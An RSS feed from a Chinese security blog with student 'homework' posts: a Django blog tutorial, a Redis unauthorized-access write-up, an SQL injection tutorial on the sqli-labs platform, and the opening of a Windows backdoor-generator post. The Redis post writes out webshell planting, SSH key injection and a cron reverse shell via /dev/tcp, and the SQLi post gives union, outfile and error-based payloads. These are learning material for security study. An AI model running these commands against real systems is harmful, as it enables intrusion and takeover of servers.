<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>专题之作业篇 &#8211; ChaBug安全</title>
	<atom:link href="/special/homework/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 23 Jul 2018 04:55:09 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>[Y4er]6月份作业之Django开发个人博客</title>
		<link>/code/436.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 25 Jun 2018 13:11:53 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[博客]]></category>
		<guid isPermaLink="false">/?p=400</guid>

					<description><![CDATA[前言 在学习Python的过程中，觉得有必要学一学Python做web开发，而django作为一种优秀的Python Web框架，自然成为了我的首选，经过不到一个月的学习，总算搞清...]]></description>
										<content:encoded><![CDATA[<h1>前言</h1>
<p>在学习Python的过程中，觉得有必要学一学Python做web开发，而<span class="wpcom_tag_link"><a href="/tags/django" title="django" target="_blank">django</a></span>作为一种优秀的Python Web框架，自然成为了我的首选，经过不到一个月的学习，总算搞清楚了django的大部分结构和基本的语法，如果你想学django，就和我一起来做一个用django开发的小型个人<span class="wpcom_tag_link"><a href="/tags/%e5%8d%9a%e5%ae%a2" title="博客" target="_blank">博客</a></span>吧！</p>
<h1>了解django</h1>
<p>django是遵循MVC设计模式的框架，MVC是Model、View、Controller这三个单词的缩写，分别代表了模型，视图，控制器。对于我个人的理解来讲，模型用来与数据库进行交互，视图用来封装html、js、css，控制器则用来处理程序的请求、逻辑结构等。</p>
<h1>准备工作</h1>
<p>Python3+django2.0+PycharmPro2018</p>
<h1>创建项目</h1>
<p>你可以使用Pycharm创建，更加方便。</p>
<p>你也可以使用命令行创建，django-admin startproject myblog，当然前提是你已经安装了django，并且cd到了你想把项目创建到哪个目录的具体位置。一行命令创建了一个myblog的项目，接下来我们就该创建app了，先来讲下app与项目之间的关系。</p>
<h1>项目和app之间的关系</h1>
<p>对于django来说，项目只是一个大框架，他的具体功能还需要在app里面实现，app所对应的就是一个一个的功能模块，比如拿chabug来说，有用户模块，也有文章模块，也有专题模块。</p>
<p>你可以进入到项目的目录，然后这样来创建app <code>python3 manage.py startapp blog</code></p>
<h1>运行</h1>
<p>在Pycharm里面你只需要点击右上角的运行按钮就可以运行了，默认是运行在本地的8000端口，也就是127.0.0.1:8000，如果你需要在命令行里面运行，你可以这样python3 manage.py runserver 8000，当然这样运行的只能在本地访问，如何把我们的项目发布出去对公网用户开放呢？下面会讲到。</p>
<h1>项目结构</h1>
<pre class="lang:default decode:true">manage.py	项目管理脚本，你可以通过python3 manage.py help查看你能够干什么
settings.py	项目的设置都存放在这
urls.py	这个是用来配置项目的url，例如127.0.0.1/chabug/，或者127.0.0.1/chuyu
wsgi.py	部署的时候用到的，一般上用不到</pre>
<h1>URL与视图</h1>
<h2>
视图</h2>
<p>视图一般写在APP的views.py中，并且第一个参数永远是request对象，这个对象包含了一些请求信息，比如：请求方法GET、POST，头部headers信息等等，然后视图必须返回一个HttpResponseBase，比如下面这个：</p>
<pre class="lang:default decode:true">from django.shortcuts import render,HttpResponse
​
def hello(request):
    return HttpResponse("hello")</pre>
<p>当然，你现在并不能在浏览器中看到HttpResponse返回的hello，因为我们还没有定义urls.py中的内容，下面就跟我来配置一波把！</p>
<h2>URL映射</h2>
<pre class="lang:default decode:true">from django.contrib import admin
from django.urls import path
​
urlpatterns = [
    path('admin/', admin.site.urls),
]</pre>
<p>这是默认的配置，其中admin这一条是django系统自带的映射后台，不用管他。我们来添加一条url来映射我们的hello，首先从app导入views.py</p>
<pre class="lang:default decode:true">form blog import views</pre>
<p>然后添加一条映射关系</p>
<pre class="lang:default decode:true">from django.contrib import admin
from django.urls import path
from blog import views
urlpatterns = [
    path('admin/', admin.site.urls),
    path('', views.hello),
]</pre>
<p>django会自动从urlpatterns中寻找当前请求url所对应的规则，返回相应的信息。</p>
<p>这个时候在访问127.0.0.1:8000则会出现我们在视图中返回的HttpResponse信息hello</p>
<p><a href="https://i.loli.net/2018/06/24/5b2fa27c33d15.png"><img loading="lazy" class="aligncenter size-medium" src="https://i.loli.net/2018/06/24/5b2fa27c33d15.png" width="524" height="278" /></a></p>
<h2>URL传参</h2>
<p>两种方法</p>
<p>views.py</p>
<pre class="lang:default decode:true">def A(request,id):
    text = "你请求的id是:%s " % id
    return HttpResponse(text)
urls.py

from django.contrib import admin
from django.urls import path
from blog import views
​
urlpatterns = [
    path('admin/', admin.site.urls),
    path('', views.hello),
    path('A/&lt;id&gt;', views.A),
]</pre>
<p>你可以这样访问127.0.0.1/A/id</p>
<p>第二种</p>
<p>views.py</p>
<pre class="lang:default decode:true">def B(request):
    id = request.GET.get['id']
    text = "你请求的id是:%s " % id
    return HttpResponse(text)
urls.py

from django.contrib import admin
from django.urls import path
from blog import views
​
urlpatterns = [
    path('admin/', admin.site.urls),
    path('', views.hello),
    path('B/', views.B),
]</pre>
<p>你可以这样访问 127.0.0.1:8000/B/?id=1</p>
<h2>URL反转</h2>
<p>之前我们都是通过url来访问视图函数。有时候我们知道这个视图函数，但是想反转回他的url。这时候就可以通过 reverse 来实现。示例代码如下：</p>
<pre class="lang:default decode:true">reverse("list")
&gt; /book/list/
传递参数

reverse("book:detail",kwargs={"book_id":1})
&gt; /book/detail/1</pre>
<p>URL和视图我们就暂时讲到这里，接下来我们要开始写了，模板的知识会融在其中。</p>
<h1>创建模型</h1>
<pre class="lang:default decode:true">from django.db import models
​
​
class Article(models.Model):
    title = models.CharField(max_length=50)     #文章标题
    category = models.CharField(max_length=50, blank=True)  #文章分类
    datetime = models.DateTimeField(auto_now_add=True)  #文章发表日期
    content = models.TextField(blank=True, null=True)   #文章内容
​
    def __str__(self):
        return self.title
​
    class Meta:
        ordering = ['-datetime']    #以日期倒序</pre>
<p>创建完模型后我们需要把模型同步到数据库中</p>
<pre class="lang:default decode:true">python3 manage.py makemigrations
python3 manage.py migrate</pre>
<p>然后在admin.py中注册下我们创建的模型</p>
<pre class="lang:default decode:true">from django.contrib import admin
from blog.models import Article
# Register your models here.
admin.site.register(Article)</pre>
<p>注册模型让我们在django自带的后台管理中显示出来127.0.0.1:8000/admin</p>
<p>发布文章什么的都可以在这操作。</p>
<h1>URL设计</h1>
<p>我直接贴我的代码</p>
<pre class="lang:default decode:true">from django.contrib import admin
from django.urls import path
from blog import views
​
urlpatterns = [
    path('admin/', admin.site.urls),
    path('', views.index, name='index'),
    path('&lt;int:id&gt;/', views.detail, name='detail'),
    path('archives/', views.archives, name='archives'),
    path('tag/&lt;str:tag&gt;', views.tags, name='tag'),
    path('search/', views.search, name='search')
]</pre>
<h1>视图设计</h1>
<pre class="lang:default decode:true">from django.shortcuts import render, redirect
from blog.models import Article
from django.http import Http404
​
# 首页视图，展示所有的文章
def index(request):
    sessionid = request.COOKIES.get('sessionid')
    post_list = Article.objects.all()
    return render(request,'index.html',{'post_list': post_list, 'sessionid':sessionid})
​
#文章详情视图，展示详细的文章内容
def detail(request,id):
    try:
        post=Article.objects.get(id=id)
    except:
        raise Http404
    return render(request,'post.html',{'post':post})
​
#文章归档
def archives(request):
    try:
        post_list = Article.objects.all()
    except Article.DoesNotExist :
        raise Http404
    return render(request, 'archives.html', {'post_list': post_list, 'error': False})
​
#分类作为标签，展示同分类下的文章
def tags(request, tag):
    post_list = Article.objects.filter(category__iexact=tag)
    return render(request,'tags.html', {'post_list': post_list})
​
#搜索
def search(request):
    if 's' in request.GET:
        s=request.GET['s']
        if not s:
            return render(request,'index.html')
        else:
            post_list=Article.objects.filter(title__icontains=s)
            if len(post_list)==0:
                return render(request, 'archives.html',{'post_list':post_list,'error':True})
            else:
                return render(request, 'archives.html',{'post_list':post_list,'error':False})
    return redirect('index')</pre>
<h1>模板设计</h1>
<h2>父模板导航条完成</h2>
<pre class="lang:default decode:true">{% load static %}
&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Index{% block title %} - MyBlog{% endblock %}&lt;/title&gt;
    &lt;link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css"&gt;
    &lt;script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"&gt;&lt;/script&gt;
    &lt;link rel="stylesheet" href="http://picturebag.qiniudn.com/blog.css"&gt;
    &lt;link rel="stylesheet" href="{% static "vim.css" %}"&gt;
    {% block head %}{% endblock %}
    &lt;style&gt;
        img{
            margin-top: -20px;
            max-height: 60px;
            max-width: 150px;
        }
        .panel-body{
            width: 750px;
            margin-left: auto;
            margin-right: auto;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;nav class="navbar navbar-default"&gt;
    &lt;div class="container-fluid"&gt;
        &lt;!-- Brand and toggle get grouped for better mobile display --&gt;
        &lt;div class="navbar-header"&gt;
            &lt;a class="navbar-brand" href="{% url 'index' %}"&gt;
                &lt;img src="{% static 'logo.png' %}" alt="logo"&gt;
            &lt;/a&gt;
        &lt;/div&gt;
​
        &lt;!-- Collect the nav links, forms, and other content for toggling --&gt;
        &lt;div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"&gt;
            &lt;ul class="nav navbar-nav"&gt;
                &lt;li class="active"&gt;&lt;a href="{% url 'index' %}"&gt;首页&lt;span class="sr-only"&gt;(current)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;&lt;a href="{% url 'archives' %}"&gt;归档&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
            &lt;form class="navbar-form navbar-right" action="/search/" method="get"&gt;
                &lt;div class="form-group"&gt;
                    &lt;input type="text" class="form-control" placeholder="Search" name="s"&gt;
                &lt;/div&gt;
                &lt;button type="submit" class="btn btn-default"&gt;搜索&lt;/button&gt;
            &lt;/form&gt;
            &lt;ul class="nav navbar-nav navbar-right"&gt;
                {% block nav %}
                    {% if sessionid %}
                        &lt;li&gt;&lt;a href="/admin"&gt;进入后台&lt;/a&gt;&lt;/li&gt;
                    {% else %}
                        &lt;li&gt;&lt;a href="/admin"&gt;登陆&lt;/a&gt;&lt;/li&gt;
                    {% endif %}
                {% endblock %}
            &lt;/ul&gt;
        &lt;/div&gt;&lt;!-- /.navbar-collapse --&gt;
    &lt;/div&gt;&lt;!-- /.container-fluid --&gt;
&lt;/nav&gt;
{% block content %}
{% endblock %}
&lt;footer class="footer hidden-xs"&gt;
    &lt;div class="container"&gt;
            Copyright © 2013 ChaBug. All Rights Reserved.
    &lt;/div&gt;
&lt;/footer&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<h2>首页完成</h2>
<pre class="lang:default decode:true">{% extends 'base.html' %}
​
{% block content %}
    &lt;div class="container"&gt;
        {% for post in post_list %}
            &lt;div class="panel-body"&gt;
                &lt;div class="entry-header page-header"&gt;
                    &lt;div class="entry-title h4"&gt;
                        &lt;a href="{% url 'detail' id=post.id %}"&gt;{{ post.title }}&lt;/a&gt;
                    &lt;/div&gt;
                    &lt;div class="entry-meta"&gt;
                        &lt;p&gt;Time：&lt;time&gt;{{ post.datetime|date:"Y-m-d" }}&lt;/time&gt;
                            分类：&lt;a href="{% url 'tag' tag=post.category %}"&gt;{{ post.category }}&lt;/a&gt;
                        &lt;/p&gt;
                    &lt;/div&gt;
                    &lt;div class="entry-content" itemprop="description"&gt;
                        {% load markdown_deux_tags %}
                        {{ post.content|truncatechars_html:50 }}
                        &lt;a href="{% url 'detail' id=post.id %}"&gt;Read More&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
​
            &lt;/div&gt;
        {% endfor %}
    &lt;/div&gt;
{% endblock %}</pre>
<h2>归档页面</h2>
<pre class="lang:default decode:true">{% extends "base.html" %}
​
{% block content %}
    &lt;div class="container"&gt;
        {% if error %}
            &lt;h1&gt;没找到相关文章&lt;/h1&gt;
        {% else %}
            &lt;section class="posts-collapse" id="post"&gt;
                &lt;span class="archive-move-on"&gt;&lt;/span&gt;
                &lt;span class="archive-page-counter"&gt;
                OK! 共找到 {{ post_list.count }} 篇日志。 继续努力。
                &lt;/span&gt;
            &lt;/section&gt;
        {% endif %}
        {% for post in post_list %}
            &lt;article class="post post-type-normal"&gt;
                &lt;header class="post-header"&gt;
                    &lt;div class="entry-title h4"&gt;
                        &lt;a href="{% url 'detail' id=post.id %}"&gt; &lt;span itemprop="name"&gt;{{ post.title }}&lt;/span&gt;&lt;/a&gt;
                    &lt;/div&gt;
                    &lt;div class="post-meta"&gt;
                        &lt;time class="post-time"&gt;{{ post.datetime|date:"Y-m-d" }}&lt;/time&gt;
                    &lt;/div&gt;
                &lt;/header&gt;
            &lt;/article&gt;
        {% endfor %}
    &lt;/div&gt;
{% endblock %}</pre>
<p>我把归档和同分类文章用了同一个模板，通过if判断来展示不同的页面。</p>
<h2>标签页面</h2>
<pre class="lang:default decode:true">{% extends 'base.html' %}
​
{% block content %}
    &lt;div class="container"&gt;
        分类:&lt;b&gt;{{ post_list.first.category }}&lt;/b&gt;下有{{ post_list.count }}篇日志。 继续努力。
        {% for post in post_list %}
            &lt;div class="panel-body"&gt;
                &lt;div class="entry-header page-header"&gt;
                    &lt;div class="entry-title h4"&gt;
                        &lt;a href="{% url 'detail' id=post.id %}"&gt;{{ post.title }}&lt;/a&gt;
                    &lt;/div&gt;
                    &lt;div class="entry-meta"&gt;
                        &lt;p&gt;Time：&lt;time&gt;{{ post.datetime|date:"Y-m-d" }}&lt;/time&gt;
                            分类：&lt;a href="{% url 'tag' tag=post.category %}"&gt;{{ post.category }}&lt;/a&gt;
                        &lt;/p&gt;
                    &lt;/div&gt;
                    &lt;div class="entry-content" itemprop="description"&gt;
                        {% load markdown_deux_tags %}
                        {{ post.content|truncatechars_html:50 }}
                        &lt;a href="{% url 'detail' id=post.id %}"&gt;Read More&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
​
            &lt;/div&gt;
        {% endfor %}
    &lt;/div&gt;
{% endblock %}</pre>
<h2>文章页面</h2>
<pre class="lang:default decode:true">{% extends 'base.html' %}
{% block content %}
    &lt;div class="container"&gt;
        &lt;div class="panel-body"&gt;
            &lt;div class="entry-header page-header"&gt;
                &lt;h1 class="entry-title"&gt;{{ post.title }}&lt;/h1&gt;
            &lt;/div&gt;
            &lt;div class="entry-meta"&gt;
                &lt;p&gt;Time：&lt;time&gt;{{ post.datetime|date:"Y-m-d" }}&lt;/time&gt;
                    分类：&lt;a href="{% url 'tag' tag=post.category %}"&gt;{{ post.category|title }}&lt;/a&gt;
                &lt;/p&gt;
            &lt;/div&gt;
            &lt;div class="entry-content"&gt;
                {% load markdown_deux_tags %}
                {{ post.content|markdown }}
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
{% endblock %}</pre>
<h1>markdown语法</h1>
<h2>安装markdown插件，</h2>
<p><span class="lang:default decode:true crayon-inline">pip3 install django-markdown-deux</span><br />
然后需要在settings.py中设置</p>
<pre class="lang:default decode:true">INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'article',
    'markdown_deux'
]</pre>
<p>在模板中像我那样调用</p>
<pre class="lang:default decode:true">&lt;div class="entry-content"&gt;
   {% load markdown_deux_tags %}
   {{ post.content|markdown }}
&lt;/div&gt;</pre>
<h1>后记</h1>
<p>我们的django开发个人博客总算是结束了，前端模板写的不好，你们可以自己写一波好看的。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[小东]6月份作业之redis未授权漏洞利用</title>
		<link>/web/435.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 24 Jun 2018 05:41:15 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[redis]]></category>
		<guid isPermaLink="false">/?p=398</guid>

					<description><![CDATA[偶然发现某大佬博客说了一下Redis的漏洞，便整理了一下笔记，并做了实战测试 0x00 笔记 1.写入webshell dir=绝对路径 dbfilename="1.php" 2....]]></description>
										<content:encoded><![CDATA[<blockquote><p>偶然发现某大佬博客说了一下Redis的漏洞，便整理了一下笔记，并做了实战测试</p></blockquote>
<h1>0x00 笔记</h1>
<pre class="lang:default decode:true ">1.写入webshell
dir=绝对路径
dbfilename="1.php"

2.写入ssh公钥匙
本机生成公钥 sshssh-keygen -t rsa -C "test@test"
dir=/root/.ssh/
dbfilename=authorized_keys

\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n

3.写入定时任务，反弹shell
dir=/var/spool/cron
dbfilename=root
set crack "\n\n*/1 * * * * /bin/bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1\n\n"</pre>
<p>&nbsp;</p>
<p>________________________________________</p>
<h1>
0x01 实战测试</h1>
<p>使用<span class="wpcom_tag_link"><a href="/tags/redis" title="redis" target="_blank">redis</a></span>k客户端链接远程主机6379端口</p>
<pre class="lang:default decode:true ">redis-cli -h xxx.xxx.xxx.xxx -p 6379</pre>
<p><a href="https://ww2.sinaimg.cn/large/a15b4afegy1fpg48hb3l4j20js08hmx5.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://ww2.sinaimg.cn/large/a15b4afegy1fpg48hb3l4j20js08hmx5.jpg" width="712" height="305" /></a></p>
<p>IP打码了（这码打得不错吧）<br />
拿WEBSHELL过程：</p>
<pre class="lang:default decode:true ">config set dir 网站绝对路径
config set dbfilename info.php //设置info.php为备份文件
set web '' //写入一句话到info.php
save //保存，然后即可通过菜刀url链接info.php即可</pre>
<p>&nbsp;</p>
<p>最后Getshell：<a href="https://ww2.sinaimg.cn/large/a15b4afegy1fpg4eaw0n4j20ma0e3t9b.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://ww2.sinaimg.cn/large/a15b4afegy1fpg4eaw0n4j20ma0e3t9b.jpg" width="802" height="507" /></a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[小东]6月份作业之SQL注入基础-基于Sqli-lab平台</title>
		<link>/web/434.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 24 Jun 2018 05:39:23 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[作业]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=396</guid>

					<description><![CDATA[简介：SQL注入是一个常见的漏洞，在所有的安全防护统计数据儿结果中显示，SQL注入几乎占据网络攻击问题的60%左右，由此可见SQL注入漏洞是一种常见的WEB漏洞，了解SQL注入对于...]]></description>
										<content:encoded><![CDATA[<p>简介：SQL<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>是一个常见的漏洞，在所有的安全防护统计数据儿结果中显示，SQL注入几乎占据网络攻击问题的60%左右，由此可见SQL注入漏洞是一种常见的WEB漏洞，了解SQL注入对于网络安全工作者或安全爱好者来说，是非常有必要，本文章主要通过sqli平台来具体阐述SQL注入漏洞产生的原因和利用方法。</p>
<h1>0x00 SQL注入漏洞简介</h1>
<p>有关SQL注入的各种定义阐述已经很多，大家可自行使用搜索引擎搜索即可，小东不再赘述。</p>
<h1>0x01 SQL注入产生的原因</h1>
<p>简单来说，每天熬夜敲代码的程序员，写程序的时候，没有考虑到程序在与数据库交互时会产生一些安全问题，倘若没有对用户输入的数据正确判断、过滤，就会导致用户可以构造恶意的payload来获取更多的数据( 执行用户的任意操作 )，甚至是Download数据库，导致信息泄漏，甚至导致受害人受到人身攻击或威胁。</p>
<p>0x02 SQL注入检测方式<br />
常见的SQL注入是基于sql语言来的，有 SELECT UPDATE INSERT 这三种SQL语句，注入原理都是类似的，了解一下SQL语法即可，下面以SELECT查询语句为例子。</p>
<h2>1. SELECT 类型</h2>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-2dcf230679702b6c?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-2dcf230679702b6c?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="355" /></a></p>
<p>源码：</p>
<pre class="lang:default decode:true ">&lt;?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id']))
{
$id=$_GET['id'];   //获取id值

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //SQL查询语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
    if($row)   //如果有数据，查询到了结果（根据sql语句输出条件还可以盲注，以后再讲）
    {
      echo "&lt;font size='5' color= '#99FF00'&gt;";
      echo 'Your Login name:'. $row['username'];
      echo "&lt;br&gt;";
      echo 'Your Password:' .$row['password'];
      echo "&lt;/font&gt;";
      }
    else //否则输出错误消息
    {
    echo '&lt;font color= "#FFFF00"&gt;';
    print_r(mysql_error());  //此处输出了mysql的错误消息，正常的线上产品，这种调试输出的语句都得注释或删除
    echo "&lt;/font&gt;";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}  //如果用户没有传递id值则在页面输出这一句话，如第一幅图所示

?&gt;</pre>
<h2>2.检测SQL注入</h2>
<p>通过上面的源码分析，如果我们的SQL语句有错误，那么将会输出错误信息，也就说明了SQL语句没有正确执行，用户提交的而数据导致了程序原本的SQL语句失效。<br />
检测方法常见在参数后面加上&#8217; and 1=1 and 1=2 xor 1=1 等等来判断是否存在SQL注入(是否过滤)，如下所示</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-cae48cbf7ecbfa52?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-cae48cbf7ecbfa52?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="315" /></a></p>
<p>&nbsp;</p>
<h2>3.构造Payload</h2>
<pre class="lang:default decode:true">http://www.test.com/Less-1/index.php?id=-1%27%20union%20select%20user(),database(),version()%20%23</pre>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-789fcb3bdaef2175?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-789fcb3bdaef2175?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="381" /></a></p>
<p>妥妥的SQL注入，一般情况下，注入是不会有数据回显的，这时候我们就可以通过SQL盲注的方式，或者简单粗暴的SQL查询写文件的方式，盲注挺麻烦的，一个个手工猜解当然是不可能的，当我们构造好了payload只需要用Python写个脚本，跑一下就行了，SQL盲注放到下篇文章再讲，写文件的方式需要：</p>
<p>知道绝对路径<br />
知道该文件有可写入的权限，一般选择缓存文件夹cache<br />
如下可写入文件：</p>
<p><span class="lang:default decode:true crayon-inline">http://www.test.com/Less-1/index.php?id=-1%27%20union%20select &#8216;&lt;?php phpinfo(); ?&gt;&#8217; into outfile &#8216;D:\\Server\\sqli\\Less-1\\1.php&#8217; %23</span></p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-d82b4fee2057ff47?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-d82b4fee2057ff47?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="565" /></a></p>
<p>访问，即可在当前Less-1目录下生成一个1.php文件，会显示输出phpinfo信息<br />
访问：http://www.test.com/Less-1/1.php</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-71e9bacec7e590c5?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-71e9bacec7e590c5?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="679" /></a></p>
<h1>0X03 总结</h1>
<p>总的来说，SQL注入漏洞很常见，在代码审计的时候是一个需要格外重视的漏洞，即使程序有做过滤，多思考，结合程序其他的漏洞，配合起来就可以绕过过滤，文章有不妥之处，还望批评指正，联系QQ：1099718640！</p>
<h1>0x04 更多解题过程Word文档下载地址：</h1>
<p>蓝奏网盘：<a href="https://www.lanzous.com/i18ww4h" target="_blank" rel="noopener">https://www.lanzous.com/i18ww4h</a><br />
百度网盘：<a href="https://pan.baidu.com/s/1_yNCrK4uMm7rCNzWIdVthw" target="_blank" rel="noopener">https://pan.baidu.com/s/1_yNCrK4uMm7rCNzWIdVthw</a></p>
<h1>0x05 补充</h1>
<p>Mysql中的注释符</p>
<pre class="lang:default decode:true ">#
-- 
/*...*/
/*!...*/ 内联注释 /*!50select*/（mysql版本大于50执行）</pre>
<p>常见函数</p>
<pre class="lang:default decode:true ">system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003</pre>
<p>字符串拼接函数：</p>
<pre class="lang:default decode:true ">  concat(str1,str2)
concat_ws(separator, str1,str2...)
group_concat(str1,str2......)</pre>
<p>布尔注入、延时注入用到的一些 函数</p>
<pre class="lang:default decode:true ">1， exists()
2， ascii()
3， substr()


exists()函数：
esists 用于检查子查询是否会返回一行数据，该子查询实际上并不返回任
何数据，而是返回True或False。

ascii()函数：
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串，返回0。如果
str是NULL，返回NULL。

substr( ) 函数：
substr(string, num start, num length) start #从第1位开始，。
string 为字符串；
start为起始位置；
length为长度。
substr(database(),1,1); xss
x
limit 0,1
0 查询的位置，0表示第一行，
1 查询的条数</pre>
<p>报错注入用到的一些函数</p>
<pre class="lang:default decode:true ">floor() 
floor(x),有时候也写做Floor(x)，其功能是“向下取整”，或者说“向下
舍入”，即取不大于x的最大整数
1.select * from admins where id=1 and (select 1 from (select count(*)
,concat(user(),floor(rand(0)*2))x from information_schema.tables gr
oup by x)a);
2.获取有多少个数据库 and (select 1 from(select count(*),concat((select
(select (select concat(0x7e,count(schema_name),0x7e) from
information_schema.schemata)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group
by x)a)

通过limit 获取所有数据库名
and (select 1 from(select count(*),concat((select
(select (select concat(0x7e, schema_name, 0x7e)
from information_schema.schemata limit 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)</pre>
<p>常见报错函数：</p>
<pre class="lang:default decode:true ">ExtractValue函数：
EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的
名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串).
作用：从目标XML中返回包含所查询值的字符串

and extractvalue(1, payload)


UpdateXML函数：
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的
名称，文中为Doc 1
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解
Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的
数据
作用：改变文档中符合条件的节点的值

+and updatexml(1,payload,1)</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[X1r0z]6月份作业之MSFvenom-NG</title>
		<link>/code/433.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 24 Jun 2018 05:35:47 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[作业]]></category>
		<guid isPermaLink="false">/?p=394</guid>

					<description><![CDATA[MSFvenom-NG ___ _____ ___&#124; _&#124;_ _ ___ ___ ___ _____ &#124; &#124;_ -&#124; _&#124; &#124; &#124; -_&#124; &#124; . &#124; &#124; &#124;_&#124;_&#124;_&#124;___&#124;_...]]></description>
										<content:encoded><![CDATA[<h1>MSFvenom-NG</h1>
<pre><code>           ___
 _____ ___|  _|_ _ ___ ___ ___ _____
|     |_ -|  _| | | -_|   | . |     |
|_|_|_|___|_|  \_/|___|_|_|___|_|_|_|
         	MSFvenom-NG
</code></pre>
<h2><a id="user-content-introduction" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#introduction" aria-hidden="true"></a>Introduction</h2>
<p>MSFvenom-NG 是一款交互式 Windows (EXE/DLL Powershell) 后门生成工具</p>
